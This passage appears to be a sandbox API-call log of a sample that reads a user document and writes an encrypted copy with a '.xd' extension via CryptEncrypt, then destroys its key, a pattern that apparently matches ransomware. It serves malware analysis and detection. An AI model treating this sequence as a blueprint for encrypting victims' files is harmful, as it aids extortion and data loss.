(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\r22w5q7z4qu.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.832] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.832] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.833] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\r22w5q7z4qu.ots.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.835] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.835] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xfb4e, lpOverlapped=0x0) returned 1 [0073.837] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.840] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.840] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.840] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.840] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.841] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.841] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.841] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.841] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.841] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.841] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.842] CryptGetKeyParam (in: hKey=0x164c7f0, dwParam=0x7, pbData=0x16294d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.842] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.842] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.842] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.843] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.843] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.843] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.843] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.843] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.843] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.844] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.844] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.845] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.845] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xfb4e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xfb50) returned 1 [0073.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.845] CharLowerBuffW (in: lpsz="byte[64337]", cchLength=0xb | out: lpsz="byte[64337]") returned 0xb [0073.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.847] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.847] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.847] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.847] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.848] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180fd28*, pdwDataLen=0x130e618*=0xfb4e, dwBufLen=0xfb50 | out: pbData=0x180fd28*, pdwDataLen=0x130e618*=0xfb50) returned 1 [0073.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.848] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.848] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.848] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.848] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.853] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.854] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xfb50, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xfb50, lpOverlapped=0x0) returned 1 [0073.856] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.856] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.856] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.856] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.856] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.856] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.856] CryptDestroyKey (hKey=0x164c7f0) returned 1 [0073.856] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.856] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.856] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.856] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.857] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.857] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.857] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.857] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.857] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.857] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.858] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.858] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.858] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.858] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.858] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.858] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.858] CryptReleaseContext (hProv=0x17aa780, dwFlags=0x0) returned 1 [0073.858] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.858] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.859] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.859] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.859] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.859] CloseHandle (hObject=0x3ac) returned 1 [0073.859] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.859] CloseHandle (hObject=0x3d0) returned 1 [0073.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 